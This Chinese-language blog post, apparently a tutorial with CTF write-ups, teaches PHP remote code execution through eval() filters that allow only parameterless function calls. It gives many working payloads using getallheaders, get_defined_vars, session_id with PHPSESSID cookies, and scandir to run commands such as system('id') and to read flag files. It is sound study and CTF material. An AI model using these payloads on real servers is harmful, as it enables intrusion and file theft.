写点什么

使用无参数函数进行命令执行

  • 2022 年 1 月 17 日
  • 本文字数:4861 字

    阅读完需:约 16 分钟

前言

在这里总结一下无参数命令执行。

环境准备

测试代码


<?phphighlight_file(__FILE__);if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {        eval($_GET['code']);}?>
复制代码


关键代码


preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
复制代码


这里使用 pregreplace 替换匹配到的字符为空,\w 匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;


以上正则表达式只匹配 a(b(c()))或 a()这种格式,不匹配 a("123"),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。


本文涉及的相关函数


目录操作:getchwd() :函数返回当前工作目录。scandir() :函数返回指定目录中的文件和目录的数组。dirname() :函数返回路径中的目录部分。chdir() :函数改变当前的目录。


数组相关的操作:end() - 将内部指针指向数组中的最后一个元素,并输出。next() - 将内部指针指向数组中的下一个元素,并输出。prev() - 将内部指针指向数组中的上一个元素,并输出。reset() - 将内部指针指向数组中的第一个元素,并输出。each() - 返回当前元素的键名和键值,并将内部指针向前移动。array_shift() - 删除数组中第一个元素,并返回被删除元素的值。


读文件 show_source() - 对文件进行语法高亮显示。readfile() - 输出一个文件。highlight_file() - 对文件进行语法高亮显示。file_get_contents() - 把整个文件读入一个字符串中。readgzfile() - 可用于读取非 gzip 格式的文件


【一>所有资源获取<一】1、电子书籍(白帽子)2、安全大厂内部视频 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

关键函数

getenv()

getenv() :获取环境变量的值(在 PHP7.1 之后可以不给予参数)适用于:php7 以上的版本


?code=var_dump(getenv());
复制代码


php7.0 以下返回 bool(false)



php7.0 以上正常回显



?code=var_dump(getenv(phpinfo()));
复制代码


phpinfo()可以获取所有环境变量


getallheaders()

getallheaders():获取所有 HTTP 请求标头,是 apache_request_headers()的别名函数,但是该函数只能在 Apache 环境下使用传入?code=print_r(getallheaders());,数组返回 HTTP 请求头


Payload1

使用 end 指向最后一个请求头,用其值进行 rce


GET /1.php?code=eval(end(getallheaders())); HTTP/1.1.....flag: system('id');
复制代码


● end():将数组的内部指针指向最后一个单元


Payload2

此 payload 适用于 php7 以上版本


GET /1.php?exp=eval(end(apache_request_headers()));  HTTP/1.1....flag: system('id');
复制代码

get_defined_vars()

Payload1

?code=eval(end(current(get_defined_vars())));&flag=system('ls');
复制代码


利用全局变量进 RCEget_defined_vars():返回由所有已定义变量所组成的数组,会返回_POST,_FILES 全局变量的值,返回数组顺序为 get->post->cookie->filescurrent():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回 $_GET 变量的数组值


Payload2

?flag=phpinfo();&code=print_r(get_defined_vars());该函数会返回全局变量的值,如 get、post、cookie、file 数据,



flag=>phpinfo();在_GET 数组中,所以需要使用两次取数组值:


pos 第一次取值


?flag=phpinfo();&code=print_r(pos(get_defined_vars()));
复制代码



pos 第二次取值


?flag=phpinfo();&code=print_r(pos(pos(get_defined_vars())));



执行 phpinfo()


?flag=phpinfo();&code=eval(pos(pos(get_defined_vars())));



任意命令执行


?flag=system('id');&code=eval(pos(pos(get_defined_vars())));


Payload3

而如果网站对_POST,_FILES 入手了,file 数组在最后一个,需要 end 定位,然后 pos 两次定位获得文件名


import requestsfiles = {   "system('whoami');": ""}#data = {#"code":"eval(pos(pos(end(get_defined_vars()))));"#}r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)print(r.content.decode("utf-8", "ignore"))
复制代码

session_start()

适用于:php7 以下的版本● session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给 session_id()● session_id():获取/设置当前会话 ID,返回当前会话 ID。 如果当前没有会话,则返回空字符串(””)。

文件读取

● show_source(session_id(session_start()));● var_dump(file_get_contents(session_id(session_start())))● highlight_file(session_id(session_start()));● readfile(session_id(session_start()));抓包传入 Cookie: PHPSESSID=(想读的文件)即可


GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1Cookie: PHPSESSID=/flag
复制代码


读取成功:


命令执行

**hex2bin()**函数可以将十六进制转换为 ASCII 字符,所以我们传入十六进制并使用 hex2bin()即可


先传入 eval(hex2bin(session_id(session_start())));,然后抓包传入 Cookie: PHPSESSID=("system('命令')"的十六进制)即可


GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1Cookie: PHPSESSID=706870696e666f28293b
复制代码


回显成功


scandir()

文件读取

查看当前目录文件名

print_r(scandir(current(localeconv())));

读取当前目录文件

当前目录倒数第一位文件:


show_source(end(scandir(getcwd())));show_source(current(array_reverse(scandir(getcwd()))));
复制代码


当前目录倒数第二位文件:show_source(next(array_reverse(scandir(getcwd()))));


随机返回当前目录文件:


highlight_file(array_rand(array_flip(scandir(getcwd()))));show_source(array_rand(array_flip(scandir(getcwd()))));show_source(array_rand(array_flip(scandir(current(localeconv())))));
复制代码

查看上一级目录文件名

print_r(scandir(dirname(getcwd())));print_r(scandir(next(scandir(getcwd()))));print_r(scandir(next(scandir(getcwd()))));
复制代码

读取上级目录文件

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
复制代码


payload 解释:● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为 1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。● array_flip()和 array_rand()配合使用可随机返回当前目录下的文件名● dirname(chdir(dirname()))配合切换文件路径

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

相关 CTF 赛题

[GXYCTF2019]禁止套娃

index 源码


<?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {                // echo $_GET['exp'];                @eval($_GET['exp']);            }            else{                die("还差一点哦!");            }        }        else{            die("再好好想想!");        }    }    else{        die("还想读flag,臭弟弟!");    }}// highlight_file(__FILE__);?>
复制代码


分析一下关键的四行代码


if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']);
复制代码


1、需要以 GET 形式传入一个名为 exp 的参数。如果满足条件会执行这个 exp 参数的内容。2、第一个 if,preg_match 过滤了伪协议 3、第二个 if,preg_replace 限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数。4、第三个 if,preg_match 正则匹配过滤了 bin|hex 等关键字。5、 @eval($_GET['exp']);执行 get 传入的 exp。无参数 RCE


方法一:利用 scandir()函数


1、查看目录下的文件


?exp=print_r(scandir(current(localeconv())));#Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )
复制代码


2、通过 array_reverse 进行逆转数组


?exp=print_r(array_reverse(scandir(current(localeconv()))));#Array ( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] => . )
复制代码


3、用 next()函数进行下一个值的读取


?exp=print_r(next(array_reverse(scandir(current(localeconv())))));#flag.php
复制代码


4、highlight_file()函数读取 flag 最终 payload:


?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
复制代码


getflag



方法二: 利用 session_start()函数


/?exp=show_source(session_id(session_start())); HTTP/1.1Cookie: PHPSESSID=flag.php
复制代码


flag


[DAS]NoRCE

<?phphighlight_file(__FILE__);$exp = $_GET['exp'];//php7.3 + Apacheif(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {    if(!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)){        eval($exp);    }else{        exit('NoNoNo,U R Hacker~');    }}else{    exit("What's this?");}?>
复制代码


无参数 RCE


过滤了一堆,利用 apache_request_headers()函数,在 php7 以下版本没有复现成功。Payload: ?exp=apache_request_headers();没被过滤



pos current pop 都被过滤了,还有个 array_shift()函数可以用


array_shift() - 删除数组中第一个元素,并返回被删除元素的值。


输出函数 echo、print_r、var_dump 也都被过滤了,exit()函数的别名 die()函数


die() 函数输出一条消息,并退出当前脚本。


Payload: ?exp=die(array_shift(apache_request_headers()));回显成功



自定义一个请求头,其值为要执行的命令,如 flag: whoami,Payload: ?exp=system(array_shift(apache_request_headers()));打印出来了



接下来执行命令,成功执行 whoami 命令



本方法在 php7 以下使用未成功

[长安战疫]RCE_No_Para

<?phpif(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {     if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){        eval($_GET['code']);    }else{        die("Hacker!");    }}else{    show_source(__FILE__);}?>
复制代码


本题的做法是通过传递自定义的新变量给数组,返回指定值,从而实现 RCE。绕过方法:pos 是 current 的别名,如果都被过滤还可以使用 reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE


收集到的一些 Payload:


?flag=system('cat flag.php');&code=eval(pos(pos(get_defined_vars())));
?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars())));
?flag=readfile('flag.php');&code=eval(implode(reset(get_defined_vars())));
?code=eval(current(array_reverse(current(get_defined_vars()))));&flag=system('cat flag.php');
?code=eval(current(array_reverse(reset(get_defined_vars()))));&flag=system('cat flag');
?code=eval(current(array_reverse(pos(get_defined_vars()))));&flag=system('cat flag');
复制代码


用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
使用无参数函数进行命令执行